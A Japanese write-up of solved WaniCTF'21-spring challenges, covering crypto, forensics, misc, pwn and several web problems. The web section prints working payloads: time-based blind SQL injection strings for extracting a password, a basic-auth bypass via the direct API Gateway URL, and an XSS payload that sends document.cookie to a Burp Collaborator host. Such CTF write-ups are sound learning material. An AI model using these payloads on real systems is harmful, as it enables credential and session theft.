WaniCTF'21-spring Writeup
はじめに
「WaniCTF'21-spring」の解けたやつだけWriteupです。久しぶりのCTF、Web問をたくさん解けました。徳丸本(基礎試験合格含む)、PortSwiggerのWeb Security Academyでコツコツ勉強してきた成果が出てすごく嬉しいです。
#wanictf 2021 Spring 1989ptで111位でした。Wani Request 2が解けなくてWeb全完逃したのが悔しい。 pic.twitter.com/Tw9f6L6Tff
— shinobe179 (@shinobe179) 2021年5月2日
Crypto
Simple conversion
コード内で int.from_bytes()
が使われていたので、 to_bytes()
的なものを使ってREPLでガチャガチャやってたら解けました。
$ python Python 3.9.1 (default, Feb 11 2021, 14:36:18) [Clang 12.0.0 (clang-1200.0.32.2)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> >>> a = open("output.txt").read() >>> a '709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229\n' >>> a = int(a) >>> >>> a 709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229 >>> >>> b = str(a) >>> b '709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229' >>> >>> len(b) 120 >>> >>> a.to_bytes(120, "big") b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}' >>>
Forensics
presentation
.ppsx形式のファイルは、最初からスライドショー形式で起動するようです。Keynoteで開いて ESC
か何かを押したら編集画面に遷移したのであとはよしなに。
secure document
この問題で「AutoHotKey」というものを知りました。キー操作を自動化するためのスクリプトエンジンだそうです。問題ファイルにスクリプトファイルが同梱されていました。以下のスクリプトが動いている状態で the password for today is nani
と入力した時に出力される文字列が、同梱されているZipファイルのパスワードのようです。
::the:: ;「the」とタイプしてスペースを押すと実行される、以下同様 Send, +wani ;「+」はShiftキー return ::password:: Send, +c+t+f return ::for:: Send, {home}{right 3}{del}1{end}{left 2}{del}7 return ::today:: FormatTime , x,, yyyyMMdd ;YYYYMMDD形式の日時情報を変数xに格納する SendInput, {home}{right 4}_%x% ;「%x%」で変数x読み出し return ::is:: Send, _{end}{!}{!}{left} return :*?:ni:: ;スペースを入力しなくても「ni」をタイプした時点で即実行される Send, ^a^c{Esc}{home}password{:} {end} return
WindowsにAutoHotKeyをインストールして実際に試したところ、 password: Wan1_20210502_C7F!na!
という文字列が生成されました。日付をZipファイル名に付いている 20210428
に変えるのはいいとして、先頭の password:
がパスワードに含まれないのはちょっと納得できません。
Misc
binary
sapmle.py
に復号アルゴリズムが載っていたので、output.csvを加工して配列にしてそのまま使いました。最後に消すつもりだったものが残ってしまったのか、はたまた難易度を下げるためにあえて残したのか……。
Git Master
イメージをpullしてrunし、 docker exec -it CONTAINER_ID /bin/bash
してコンテナのシェルを起動します。gitコマンドをインストールした後、 git log
と git reset --hard HEAD^
でコミットを遡りながら html/Flag.txt
の内容を確認し、いくつかの差分を繋ぎ合わせたらflagになりました。
Pwn
01 netcat
nc
したらシェルに繋がって、 flag.txt
を開くだけでした。
Web
fake
いっぱいボタンがあったので、開発者ツールで流し見してたらたまたま href
属性があるリンクを見つけました。
Wani Request 1
Burp Collaboratorでリクエストを受信しました。 Referer
にAPI GatewayのURLが入っていたので、アクセスしたらflagでした。
exception
hello.py
を読むに「リクエストボディがない」「 リクエストボディ内に name
がない」ケースのハンドリングがそれぞれできていて、これら以外の事象が発生すると例外処理で500エラーと共にflagをレスポンスする作りになっています。リクエストをBurpでプロキシして以下のように書き換えたら、500エラーが発生しました(値は別に1つだけでもよかったみたいです)。
{ "name":123, "name":123 }
watch animal
まず、以下のペイロードでレスポンスが10秒遅延することを確認しました。Blind SQL injectionできます。
email='OR(''='&password=')||(SELECT+IF(1=1,sleep(10),'a'))--+
Burp Intruderを使って、以下のようなペイロードでパスワードが15文字であることを確認しました。
email='OR(''='&password=')||(SELECT+IF(LENGTH(password)>1,sleep(10),NULL)+FROM+users+WHERE+email='wanictf21spring@gmail.com')--+
同じくBurp Intruderで、以下のようなペイロード( SUBSTRING
の第2引数と比較する文字列を可変にし、IntruderのCluster bombモードを使用)でパスワード(=flag)を特定しました。
email='OR(''='&password=')||(SELECT+IF(SUBSTRING(password,1,1)='F',sleep(10),NULL)+FROM+users+WHERE+email='wanictf21spring@gmail.com')--+
いつもは email
のほうでクエリを完結させてそれ以降はコメントアウトして無効化していますが、email
の入力欄の最大文字数が32文字と厳しかったです。 password
は最大128文字まで許容されていたので、やりたいことは password
のほうでやって、 email
やAND条件がクエリ内で意味をなさないようにしました(以下クエリ例、太字が入力)。
SELECT * from users WHERE email = '' OR ('' = '' AND password = '') || ...
CloudFront Basic Auth
exceptionと同じ要領で例外を起こしたところ、エラーレスポンスの中に domainName
としてAPI GatewayのFQDNが含まれていました。 SAMのテンプレートを参考に https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin
にアクセスしたところ、ベーシック認証をバイパスしてflagが表示されました。ちゃんと守るなら、CloudFrontでカスタムヘッダーを挿入して、API Gateway側でヘッダーの有無を検証する必要があります。
Wani Request 2(partial)
Page1だけ解けたので一応……。以下を wani
というクエリパラメータとして持つPage1にアクセスすると、クッキーを窃視できます。
<img+src=1+onerror=fetch("XXXXXXXXXXXXXXXXXX.burpcollaborator.net",{method:"POST",mode:"no-cors",body:document.cookie})>